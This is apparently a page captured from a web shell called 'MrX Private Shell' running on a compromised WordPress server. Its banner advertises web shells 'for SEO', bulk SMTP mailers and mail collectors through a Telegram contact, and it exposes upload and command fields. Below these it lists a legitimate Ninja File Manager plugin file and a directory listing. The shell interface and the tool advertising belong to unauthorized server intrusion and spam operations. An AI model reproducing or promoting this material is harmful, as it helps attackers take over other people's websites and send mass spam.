__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace NinjaFileManager;

defined('ABSPATH') || exit;
/**
 * Plugin activate/deactivate logic
 */
class Plugin {
  protected static $instance = null;

  public static function getInstance() {
    if (null == self::$instance) {
      self::$instance = new self;
    }

    return self::$instance;
  }

  private function __construct() {
    add_action('plugins_loaded', array($this, 'loadPluginCross'));
  }

  public function loadPluginCross() {
    \FileBirdCross::get_instance('filebird', 'filebird+ninjateam', NJT_FS_BN_PLUGIN_URL, array('filebird/filebird.php', 'filebird-pro/filebird.php'));
  }

  /** Plugin activated hook */
  public static function activate() {
    $first_time_active = get_option('njt_fs_first_time_active');
    $njt_fs_review = get_option('njt_fs_review');

    if ($first_time_active === false) {
      update_option('njt_fs_first_time_active', 1);
      if ($njt_fs_review !== false) return;
        update_option('njt_fs_review', time() + 3*60*60*24); //After 3 days show
    }

    $current_version = get_option('njt_fs_version');
    if ( version_compare(NJT_FS_BN_VERSION, $current_version, '>') ) {
      $filebirdCross = \FileBirdCross::get_instance('filebird', 'filebird+ninjateam', NJT_FS_BN_PLUGIN_URL, array('filebird/filebird.php', 'filebird-pro/filebird.php'));
      $filebirdCross->need_update_option();
      update_option('njt_fs_version', NJT_FS_BN_VERSION);
      if ($njt_fs_review !== false) return;
        update_option('njt_fs_review', time() + 3*60*60*24); //After 3 days show
    }
  }

  /** Plugin deactivate hook */
  public static function deactivate() {
  }
}

Filemanager

Name Type Size Permission Actions
File_manager Folder 0775
Recommended Folder 0775
I18n.php File 560 B 0775
Plugin.php File 1.59 KB 0775
cross.php File 18.33 KB 0775
functions.php File 1.36 KB 0775
index.php File 0 B 0775
Filemanager